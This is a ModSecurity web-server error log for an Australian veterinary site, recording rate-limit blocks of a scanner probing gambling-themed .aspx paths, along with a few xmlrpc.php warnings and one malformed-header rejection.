[Sun Apr 12 22:47:08.772222 2026] [:error] [pid 25329:tid 25412] [client 51.75.119.229:49480] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aduwbGdcIYsS8Iyaj13XCAAAAJU"]
[Sun Apr 12 22:47:11.134549 2026] [:error] [pid 26567:tid 26590] [client 51.75.119.229:49496] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aduwb3hRpg6ptWFyFx3Y6AAAARU"]
[Sun Apr 12 22:47:13.607340 2026] [:error] [pid 25327:tid 25339] [client 51.75.119.229:49504] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aduwcS6h2tZEVJo9JFIMJgAAAAM"]
[Sun Apr 12 22:47:15.948122 2026] [:error] [pid 60280:tid 60306] [client 51.75.119.229:60360] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aduwc3BlLnDOYuIykkgGswAAAdg"]
[Sun Apr 12 22:47:18.396568 2026] [:error] [pid 26567:tid 26569] [client 51.75.119.229:60368] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aduwdnhRpg6ptWFyFx3Y9QAAAQA"]
[Sun Apr 12 22:47:20.869560 2026] [:error] [pid 60280:tid 60291] [client 51.75.119.229:60378] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aduweHBlLnDOYuIykkgGxQAAAck"]
[Sun Apr 12 22:47:23.350049 2026] [:error] [pid 25327:tid 25340] [client 51.75.119.229:60394] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aduwey6h2tZEVJo9JFIMQwAAAAQ"]
[Sun Apr 12 22:47:25.680673 2026] [:error] [pid 25328:tid 25368] [client 51.75.119.229:51568] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aduwfcxUaQZxT-e0YsB6rwAAAEQ"]
[Sun Apr 12 22:47:28.289521 2026] [:error] [pid 26567:tid 26575] [client 51.75.119.229:51584] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aduwgHhRpg6ptWFyFx3ZAAAAAQY"]
[Sun Apr 12 22:47:30.651556 2026] [:error] [pid 60280:tid 60293] [client 51.75.119.229:51588] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aduwgnBlLnDOYuIykkgG5wAAAcs"]
[Sun Apr 12 22:47:33.171250 2026] [:error] [pid 25327:tid 25346] [client 51.75.119.229:51602] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aduwhS6h2tZEVJo9JFIMXwAAAAo"]
[Sun Apr 12 22:47:35.475516 2026] [:error] [pid 25327:tid 25347] [client 51.75.119.229:56214] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aduwhy6h2tZEVJo9JFIMbQAAAAs"]
[Sun Apr 12 22:47:38.060143 2026] [:error] [pid 25329:tid 25402] [client 51.75.119.229:56220] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aduwimdcIYsS8Iyaj13XJQAAAI8"]
[Sun Apr 12 22:47:40.435908 2026] [:error] [pid 25328:tid 25380] [client 51.75.119.229:56236] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aduwjMxUaQZxT-e0YsB6wQAAAEw"]
[Sun Apr 12 22:47:42.983897 2026] [:error] [pid 60280:tid 60287] [client 51.75.119.229:56250] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aduwjnBlLnDOYuIykkgHCgAAAcU"]
[Sun Apr 12 22:47:45.531594 2026] [:error] [pid 25329:tid 25411] [client 51.75.119.229:57150] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aduwkWdcIYsS8Iyaj13XNAAAAJQ"]
[Sun Apr 12 22:47:47.966670 2026] [:error] [pid 25328:tid 25396] [client 51.75.119.229:57152] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aduwk8xUaQZxT-e0YsB61AAAAFM"]
[Sun Apr 12 22:48:30.025961 2026] [:error] [pid 60280:tid 60282] [client 51.75.119.229:57154] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aduwvnBlLnDOYuIykkgHygAAAcA"]
[Sun Apr 12 22:48:32.449986 2026] [:error] [pid 25327:tid 25345] [client 51.75.119.229:39234] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aduwwC6h2tZEVJo9JFIM2QAAAAk"]
[Sun Apr 12 22:48:34.913154 2026] [:error] [pid 25328:tid 25401] [client 51.75.119.229:53816] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aduwwsxUaQZxT-e0YsB7EQAAAFU"]
[Sun Apr 12 22:48:37.373829 2026] [:error] [pid 25327:tid 25336] [client 51.75.119.229:53824] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aduwxS6h2tZEVJo9JFIM4wAAAAA"]
[Sun Apr 12 22:48:39.865375 2026] [:error] [pid 60280:tid 60287] [client 51.75.119.229:53834] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aduwx3BlLnDOYuIykkgH5QAAAcU"]
[Sun Apr 12 22:48:42.323432 2026] [:error] [pid 60280:tid 60302] [client 51.75.119.229:53850] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aduwynBlLnDOYuIykkgH9QAAAdQ"]
[Sun Apr 12 22:48:44.661898 2026] [:error] [pid 25327:tid 25355] [client 51.75.119.229:43434] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aduwzC6h2tZEVJo9JFIM6gAAABM"]
[Sun Apr 12 22:48:46.958365 2026] [:error] [pid 60280:tid 60303] [client 51.75.119.229:43442] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aduwznBlLnDOYuIykkgIEwAAAdU"]
[Sun Apr 12 22:48:49.392530 2026] [:error] [pid 26599:tid 26611] [client 51.75.119.229:43452] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aduw0XG89LXoQbk_rwDvWQAAAUk"]
[Sun Apr 12 22:48:51.717853 2026] [:error] [pid 26600:tid 26643] [client 51.75.119.229:43454] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aduw0-1YwAZiXhQKLYptAwAAAY4"]
[Sun Apr 12 22:48:54.041489 2026] [:error] [pid 25329:tid 25407] [client 51.75.119.229:43468] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aduw1mdcIYsS8Iyaj13XpQAAAJI"]
[Sun Apr 12 22:48:56.562754 2026] [:error] [pid 26599:tid 26612] [client 51.75.119.229:43700] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aduw2HG89LXoQbk_rwDvXQAAAUo"]
[Sun Apr 12 22:48:59.027624 2026] [:error] [pid 60280:tid 60288] [client 51.75.119.229:43708] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aduw23BlLnDOYuIykkgIQwAAAcY"]
[Sun Apr 12 22:49:01.580158 2026] [:error] [pid 25437:tid 25440] [client 51.75.119.229:43716] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aduw3Xf97wYZje1ep_OIzQAAAME"]
[Sun Apr 12 22:49:04.036649 2026] [:error] [pid 26600:tid 26643] [client 51.75.119.229:43732] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aduw4O1YwAZiXhQKLYptEAAAAY4"]
[Sun Apr 12 22:49:06.399491 2026] [:error] [pid 25327:tid 25336] [client 51.75.119.229:52136] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aduw4i6h2tZEVJo9JFINAQAAAAA"]
[Sun Apr 12 22:49:08.880123 2026] [:error] [pid 60280:tid 60287] [client 51.75.119.229:52140] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aduw5HBlLnDOYuIykkgIVAAAAcU"]
[Sun Apr 12 22:49:11.424189 2026] [:error] [pid 25327:tid 25341] [client 51.75.119.229:52152] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aduw5y6h2tZEVJo9JFINBgAAAAU"]
[Sun Apr 12 22:49:13.959958 2026] [:error] [pid 26599:tid 26622] [client 51.75.119.229:52168] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aduw6XG89LXoQbk_rwDvawAAAVQ"]
[Sun Apr 12 22:49:16.285501 2026] [:error] [pid 60280:tid 60288] [client 51.75.119.229:54718] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aduw7HBlLnDOYuIykkgIXwAAAcY"]
[Sun Apr 12 22:49:18.751028 2026] [:error] [pid 25328:tid 25364] [client 51.75.119.229:54734] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aduw7sxUaQZxT-e0YsB7WgAAAEA"]
[Sun Apr 12 22:49:21.177179 2026] [:error] [pid 25327:tid 25350] [client 51.75.119.229:54750] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aduw8S6h2tZEVJo9JFINGQAAAA4"]
[Sun Apr 12 22:49:23.618788 2026] [:error] [pid 25327:tid 25339] [client 51.75.119.229:54760] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aduw8y6h2tZEVJo9JFINHQAAAAM"]
[Sun Apr 12 22:50:04.533544 2026] [:error] [pid 26599:tid 26604] [client 51.75.119.229:49414] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aduxHHG89LXoQbk_rwDviQAAAUI"]
[Sun Apr 12 22:50:06.899065 2026] [:error] [pid 25329:tid 25399] [client 51.75.119.229:44584] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aduxHmdcIYsS8Iyaj13X_gAAAI0"]
[Sun Apr 12 22:50:09.359227 2026] [:error] [pid 60280:tid 60302] [client 51.75.119.229:44600] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aduxIXBlLnDOYuIykkgIrwAAAdQ"]
[Sun Apr 12 22:50:11.816716 2026] [:error] [pid 26600:tid 26634] [client 51.75.119.229:44610] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aduxI-1YwAZiXhQKLYptPgAAAYU"]
[Sun Apr 12 22:50:14.252323 2026] [:error] [pid 60280:tid 60306] [client 51.75.119.229:44624] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aduxJnBlLnDOYuIykkgIwAAAAdg"]
[Sun Apr 12 22:50:16.710006 2026] [:error] [pid 25327:tid 25347] [client 51.75.119.229:38798] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aduxKC6h2tZEVJo9JFINcQAAAAs"]
[Sun Apr 12 22:50:19.186592 2026] [:error] [pid 25329:tid 25402] [client 51.75.119.229:38806] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aduxK2dcIYsS8Iyaj13YCAAAAI8"]
[Sun Apr 12 22:50:21.512579 2026] [:error] [pid 25437:tid 25449] [client 51.75.119.229:38808] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aduxLXf97wYZje1ep_OJVAAAAMo"]
[Sun Apr 12 22:50:23.993782 2026] [:error] [pid 26567:tid 26579] [client 51.75.119.229:38820] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aduxL3hRpg6ptWFyFx3ZXQAAAQo"]
[Sun Apr 12 22:50:26.461928 2026] [:error] [pid 26600:tid 26635] [client 51.75.119.229:40122] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aduxMu1YwAZiXhQKLYptRQAAAYY"]
[Sun Apr 12 22:50:28.784249 2026] [:error] [pid 60280:tid 60289] [client 51.75.119.229:40124] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aduxNHBlLnDOYuIykkgI2QAAAcc"]
[Sun Apr 12 23:15:12.205246 2026] [:error] [pid 25328:tid 25394] [client 216.73.216.221:52371] [client 216.73.216.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.216.221, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adu3AMxUaQZxT-e0YsCC8wAAAFI"]
[Sun Apr 12 23:48:09.431668 2026] [:error] [pid 25329:tid 25412] [client 160.202.39.8:55495] [client 160.202.39.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.202.39.8, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adu-uWdcIYsS8Iyaj13p_gAAAJU"], referer: https://vetstars.com.au/
[Mon Apr 13 00:04:54.820583 2026] [:error] [pid 26567:tid 26578] [client 43.167.239.66:55590] [client 43.167.239.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "advCpnhRpg6ptWFyFx3kIwAAAQk"]
[Mon Apr 13 01:16:33.651907 2026] [:error] [pid 31606:tid 31709] [client 106.222.207.44:31093] [client 106.222.207.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.207.44, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "advTcT9vCsshNhLmCiBwzgAAAEM"]
